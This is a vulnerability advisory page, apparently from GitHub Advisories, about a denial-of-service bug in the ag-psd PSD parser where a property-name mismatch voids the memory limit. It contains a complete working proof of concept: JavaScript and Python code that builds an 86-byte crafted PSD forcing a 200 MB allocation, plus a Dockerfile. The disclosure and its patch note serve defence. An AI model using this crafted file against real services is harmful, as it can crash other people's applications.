OFFLINE
Awaiting data
Security intelligence
MajorCritical vulnerability

CVE-2026-63501: ag-psd: Uncontrolled Memory Allocation in PSD Layer Decoding (totalMemoryLimit bypass)

GitHub Advisories · officialPublished Nov 9, 2026Risk 37/100

### Summary The `readPsd()` function in `ag-psd` accepts a `totalMemoryLimit` option to cap memory usage when parsing untrusted PSD files, but this limit is never forwarded to the layer image buffer allocation path. A property name mismatch (`totalMemoryLimit` vs. `memoryLimit`) causes the size guard inside `createImageDataBitDepth` to be skipped unconditionally. An attacker who can supply a crafted PSD to any application using `ag-psd` for server-side parsing can force an unbounded heap allocation — a 5000×5000 layer in a 86-byte file allocates 200 MB — leading to denial of service through process memory exhaustion regardless of what limit the caller specified. ### Details `readPsd()` (exported from `src/index.ts:22`) wraps caller-supplied bytes in a `PsdReader` object that inherits `ReadOptions`, which defines `totalMemoryLimit?: number` (`src/psd.ts:1819`). A default of 2 GB is written into the reader at `src/psdReader.ts:237`. When the parser reaches a layer, it calls `decodeLayerImageData(layer, reader)` at `src/psdReader.ts:568-569`, passing the `reader` object directly as the second argument. The `decodeLayerImageData` function signature is: ```ts // src/psdReader.ts:639-642 function decodeLayerImageData(layer: Layer, options: { useImageData?: boolean, throwForMissingFeatures?: boolean, memoryLimit?: number // ← expects "memoryLimit", not "totalMemoryLimit" }) { const imageData = getDataFromLayer(layer, ..., options.memoryLimit); ``` Because `reader` has `totalMemoryLimit` but not `memoryLimit`, `options.memoryLimit` evaluates to `undefined`. This value is passed down to `createImageDataBitDepth` at `src/psdReader.ts:684`: ```ts // src/psdReader.ts:671-684 const layerWidth = (layer.right || 0) - (layer.left || 0); const layerHeight = (layer.bottom || 0) - (layer.top || 0); // ... imageData = createImageDataBitDepth(layerWidth, layerHeight, bitsPerChannel, 4, memoryLimit); ``` Inside `createImageDataBitDepth`, the size guard at `src/psdReader.ts:861-864` is: ```ts const sizeInBytes = width * height * channels * Math.max(1, bitDepth / 8); if (memoryLimit !== undefined && sizeInBytes > memoryLimit) throw new Error('Exceeded memory limit'); ``` Because `memoryLimit` is `undefined`, the condition is always false. The allocation proceeds unconditionally at `src/psdReader.ts:872`: ```ts return new Uint16Array(width * height * channels); // attacker-controlled size ``` A secondary unbounded allocation exists at `src/psdReader.ts:1138-1139`, where `inflateSync(compressed)` decompresses ZIP-encoded channel data without any cap on the output size, enabling a similar DoS via ZIP bomb payloads. ### PoC **Environment setup** ```bash # Clone and build ag-psd at the affected commit git clone https://github.com/Agamnentzar/ag-psd.git cd ag-psd git checkout e64f0c96a5b8f9ea7c79599d08bbcfc57345b781 npm ci npm run build ``` **Build and run with Docker (self-contained)** ```bash # From the report directory (containing vuln-001/ and repo/) docker build -t ag-psd-vuln-001 -f vuln-001/Dockerfile . docker run --rm -e APP_DIR=/app -e RESULT_DIR=/tmp ag-psd-vuln-001 ``` **Manual reproduction (Node.js inline)** ```js // save as exploit.js and run: node exploit.js require('./initialize-canvas'); const { readPsd } = require('./dist'); const u16 = n => { const b = Buffer.alloc(2); b.writeUInt16BE(n); return b; }; const i16 = n => { const b = Buffer.alloc(2); b.writeInt16BE(n); return b; }; const u32 = n => { const b = Buffer.alloc(4); b.writeUInt32BE(n); return b; }; const i32 = n => { const b = Buffer.alloc(4); b.writeInt32BE(n); return b; }; const sec = (buf, r = 1) => Buffer.concat([u32(buf.length), buf, Buffer.alloc((r - buf.length % r) % r)]); const w = 5000, h = 5000; // Layer record: top=0, left=0, bottom=5000, right=5000, 0 channels, blending info, extra=0 const layer = Buffer.concat([ i32(0), i32(0), i32(h), i32(w), u16(0), Buffer.from('8BIMnorm'), Buffer.from([255, 0, 0, 0]), u32(0), ]); // PSD header: sig, version=1, reserved, channels=3, height=1, width=1, depth=16, colorMode=RGB const psd = Buffer.concat([ Buffer.from('8BPS'), u16(1), Buffer.alloc(6), u16(3), u32(1), u32(1), u16(16), u16(3), sec(Buffer.alloc(0)), // ColorModeData sec(Buffer.alloc(0)), // ImageResources sec(sec(Buffer.concat([i16(1), layer]), 2)), // LayerAndMaskInfo u16(0), Buffer.alloc(6), // ImageData (raw, minimal) ]); const before = process.memoryUsage(); const out = readPsd(psd, { useImageData: true, totalMemoryLimit: 1024 }); const after = process.memoryUsage(); console.log('PSD_BYTES=' + psd.length); // 86 console.log('LAYER_IMAGE_BYTES=' + out.children[0].imageData.data.byteLength); // 200000000 console.log('ARRAYBUFFER_DELTA=' + (after.arrayBuffers - before.arrayBuffers)); // 200000000 ``` **Expected output** ``` PSD_BYTES=86 TOTAL_MEMORY_LIMIT_OPTION=1024 LAYER_IMAGE_BYTES=200000000 ARRAYBUFFER_DELTA=200000000 RSS_BEFORE_KB=55052 RSS_AFTER_KB=250508 VULN_001_EXPLOITED=true PASS: totalMemoryLimit=1024 was bypassed; allocated 200000000 bytes in a single layer image buffer ``` A 1 KB `totalMemoryLimit` is completely ignored; a 190 MB buffer is allocated from an 86-byte PSD file. ### Impact This is a Denial of Service (DoS) vulnerability. Any application that uses `ag-psd` to parse PSD files supplied by external users — such as web services offering PSD preview, conversion, or editing — is vulnerable. An unauthenticated remote attacker can send a single crafted PSD file (as small as 86 bytes) to exhaust process heap memory, causing the Node.js process to crash or be killed by the OS OOM killer. The `totalMemoryLimit` option, which is the only documented defense against this class of attack, is silently non-functional due to the property name mismatch. No authentication, credentials, or special privileges are required. The bug lies on the default parser path and is triggered whenever layer decoding is enabled (the default). ### Reproduction artifacts #### `Dockerfile` ```dockerfile FROM node:20-bullseye-slim # Install build dependencies for native canvas module RUN apt-get update && apt-get install -y \ python3 \ make \ g++ \ pkg-config \ libcairo2-dev \ libpango1.0-dev \ libjpeg-dev \ libgif-dev \ librsvg2-dev \ && rm -rf /var/lib/apt/lists/* WORKDIR /app # Copy the ag-psd repository COPY repo/ /app/ # Install dependencies and build TypeScript RUN npm ci && npm run build # Copy the PoC script COPY vuln-001/poc.py /app/poc.py # Install Python 3 (already available in bullseye) RUN python3 --version # Default command: run the PoC CMD ["python3", "poc.py"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ PoC for VULN-001: Uncontrolled Memory Allocation in ag-psd PSD Layer Decoding (CWE-770 / totalMemoryLimit bypass via property name mismatch) Attack summary: readPsd(buffer, { totalMemoryLimit: 1024 }) is called with a 1 KB limit. Internally, decodeLayerImageData(layer, reader) is called where `reader` carries `totalMemoryLimit` but the function expects `memoryLimit`. Because options.memoryLimit === undefined the size check is bypassed and a 5000x5000x4-channel Uint16Array (200 MB) is allocated from an 86-byte PSD. """ import struct import subprocess import sys import os import json # --------------------------------------------------------------------------- # Build a minimal valid 16-bit PSD with one 5000x5000 layer # --------------------------------------------------------------------------- def u16be(n: int) -> bytes: return struct.pack(">H", n) def i16be(n: int) -> bytes: return struct.pack(">h", n) def u32be(n: int) -> bytes: return struct.pack(">I", n) def i32be(n: int) -> bytes: return struct.pack(">i", n) def length_prefixed(data: bytes, align: int = 1) -> bytes: """Encode as 4-byte-length-prefixed section, padded to alignment.""" pad = (align - len(data) % align) % align return u32be(len(data)) + data + b"\x00" * pad def build_psd(width: int = 5000, height: int = 5000) -> bytes: """ Build the smallest PSD that triggers the vulnerability: - 16-bit depth (bitsPerChannel=16) forces Uint16Array allocation - layer bounds set to [top=0, left=0, bottom=height, right=width] - totalMemoryLimit: 1024 bytes in readPsd options will be bypassed Resulting allocation: width * height * 4 channels * 2 bytes = 200 MB """ # Layer record (28 bytes header + name/blending/channel-info) layer_record = b"".join([ i32be(0), # top i32be(0), # left i32be(height), # bottom i32be(width), # right u16be(0), # channel count = 0 (no raw channel data needed # to trigger allocation — createImageDataBitDepth # is called based on dimensions alone) # Blending range: signature + mode b"8BIM", b"norm", # Opacity, clipping, flags, filler bytes([255, 0, 0, 0]), # Extra data length = 0 u32be(0), ]) # Layer info section: layer count (signed i16) + layer record layer_info_inner = i16be(1) + layer_record layer_info = length_prefixed(layer_info_inner, 2) # Sections: ColorModeData, ImageResources, LayerAndMaskInfo, ImageData color_mode_data = length_prefixed(b"") image_resources = length_prefixed(b"") layer_mask_info = length_prefixed(layer_info) image_data = u16be(0) + b"\x00" * 6 # compression=raw + minimal data # PSD file header: magic, version=1, reserved, channels, height, width, # bitsPerChannel=16, colorMode=3 (RGB) header = b"8BPS" + u16be(1) + b"\x00" * 6 + u16be(3) + u32be(1) + u32be(1) + u16be(16) + u16be(3) psd = header + color_mode_data + image_resources + layer_mask_info + image_data return psd # --------------------------------------------------------------------------- # Node.js script that calls readPsd and reports memory usage # --------------------------------------------------------------------------- NODE_SCRIPT = r""" 'use strict'; const APP_DIR = process.env.APP_DIR || '/app'; try { require(APP_DIR + '/dist/initializeCanvas.js'); } catch(e) {} const { readPsd } = require(APP_DIR + '/dist/index.js'); const fs = require('fs'); // Read PSD bytes from stdin const psd = fs.readFileSync('/tmp/poc.psd'); const before = process.memoryUsage(); let result; try { result = readPsd(psd, { useImageData: true, totalMemoryLimit: 1024 }); } catch (err) { process.stderr.write('ERROR: ' + err.message + '\n'); process.exit(2); } const after = process.memoryUsage(); const layer = result && result.children && result.children[0]; const layerBytes = (layer && layer.imageData && layer.imageData.data) ? layer.imageData.data.byteLength : 0; const delta = after.arrayBuffers - before.arrayBuffers; console.log('PSD_BYTES=' + psd.length); console.log('TOTAL_MEMORY_LIMIT_OPTION=1024'); console.log('LAYER_IMAGE_BYTES=' + layerBytes); console.log('ARRAYBUFFER_DELTA=' + delta); console.log('RSS_BEFORE_KB=' + Math.round(before.rss / 1024)); console.log('RSS_AFTER_KB=' + Math.round(after.rss / 1024)); // Verdict const exploited = layerBytes >= 100_000_000 || delta >= 100_000_000; console.log('VULN_001_EXPLOITED=' + exploited); if (!exploited) { process.stderr.write('FAIL: memory limit was NOT bypassed (layerBytes=' + layerBytes + ', delta=' + delta + ')\n'); process.exit(1); } console.log('PASS: totalMemoryLimit=1024 was bypassed; allocated ' + layerBytes + ' bytes in a single layer image buffer'); process.exit(0); """ def main(): print("[*] VULN-001 PoC — ag-psd CWE-770 totalMemoryLimit bypass") print("[*] Building crafted PSD (5000x5000 16-bit layer, no raw channel data)...") psd_bytes = build_psd(5000, 5000) poc_psd_path = "/tmp/poc.psd" node_script_path = "/tmp/poc_runner.js" with open(poc_psd_path, "wb") as f: f.write(psd_bytes) print(f"[*] PSD written to {poc_psd_path} ({len(psd_bytes)} bytes)") with open(node_script_path, "w") as f: f.write(NODE_SCRIPT) print(f"[*] Node.js runner written to {node_script_path}") # Run from /app where the ag-psd repo was built app_dir = os.environ.get("APP_DIR", "/app") print(f"[*] Running Node.js PoC from {app_dir} ...") try: proc = subprocess.run( ["node", node_script_path], capture_output=True, text=True, timeout=60, cwd=app_dir, ) except subprocess.TimeoutExpired: print("[-] Node.js process timed out (possible OOM or hang)") sys.exit(1) stdout = proc.stdout.strip() stderr = proc.stderr.strip() print("\n--- Node.js stdout ---") print(stdout or "(empty)") if stderr: print("--- Node.js stderr ---") print(stderr) print("--- Exit code:", proc.returncode, "---\n") # Parse key-value output lines kv = {} for line in stdout.splitlines(): if "=" in line: k, _, v = line.partition("=") kv[k.strip()] = v.strip() exploited = kv.get("VULN_001_EXPLOITED", "false").lower() == "true" layer_bytes = int(kv.get("LAYER_IMAGE_BYTES", "0")) psd_bytes_reported = int(kv.get("PSD_BYTES", "0")) memory_limit = int(kv.get("TOTAL_MEMORY_LIMIT_OPTION", "0")) delta = int(kv.get("ARRAYBUFFER_DELTA", "0")) print("=== VULNERABILITY ASSESSMENT ===") print(f" PSD input size : {psd_bytes_reported} bytes") print(f" totalMemoryLimit option: {memory_limit} bytes (1 KB)") print(f" Layer image buffer : {layer_bytes:,} bytes ({layer_bytes // 1024 // 1024} MB)") print(f" ArrayBuffer delta : {delta:,} bytes") print(f" Limit bypassed : {'YES — VULNERABLE' if exploited else 'NO — limit was enforced'}") if not exploited: print("\n[FAIL] Exploitation did not succeed.") result = { "passed": False, "verdict": "FAIL", "reason": "PoC 실행에서 메모리 제한 우회가 관측되지 않음. totalMemoryLimit이 예상과 달리 적용된 것으로 보임.", "build_command": "docker build -t ag-psd-vuln-001 -f vuln-001/Dockerfile .", "run_command": "docker run --rm ag-psd-vuln-001", "poc_command": "python3 poc.py", "evidence": stdout + ("\n" + stderr if stderr else ""), "artifacts": ["Dockerfile", "poc.py"], } else: print("\n[PASS] VULN-001 confirmed: totalMemoryLimit=1024 was bypassed.") print(f" Allocated {layer_bytes // 1_000_000} MB from a {psd_bytes_reported}-byte PSD.") result = { "passed": True, "verdict": "PASS", "reason": ( f"totalMemoryLimit=1024(1KB) 옵션이 설정되었음에도 {layer_bytes:,}바이트({layer_bytes // 1_000_000}MB)의 레이어 이미지 버퍼가 할당됨. " f"decodeLayerImageData(layer, reader)에서 reader.totalMemoryLimit이 options.memoryLimit으로 전달되지 않아 " f"createImageDataBitDepth 내부의 사이즈 검사가 완전히 우회되는 것이 컨테이너 실행에서 관측적으로 확인됨." ), "build_command": "docker build -t ag-psd-vuln-001 -f vuln-001/Dockerfile .", "run_command": "docker run --rm ag-psd-vuln-001", "poc_command": "python3 poc.py", "evidence": stdout, "artifacts": ["Dockerfile", "poc.py"], } result_path = os.path.join( os.environ.get("RESULT_DIR", "/tmp"), "phase2_result.json" ) with open(result_path, "w", encoding="utf-8") as f: json.dump(result, f, ensure_ascii=False, indent=2) print(f"\n[*] Result written to {result_path}") sys.exit(0 if exploited else 1) if __name__ == "__main__": main() ```

Upgrade affected packages to a patched version: ag-psd 31.0.1.

Vendor
Not specified
Product
ag-psd
Exploitation
none known
Evidence
official
CVSS
7.5

This record is attributed to GitHub Advisories. Exploitation status and remediation guidance are kept separate from the vulnerability's technical severity.

Open primary source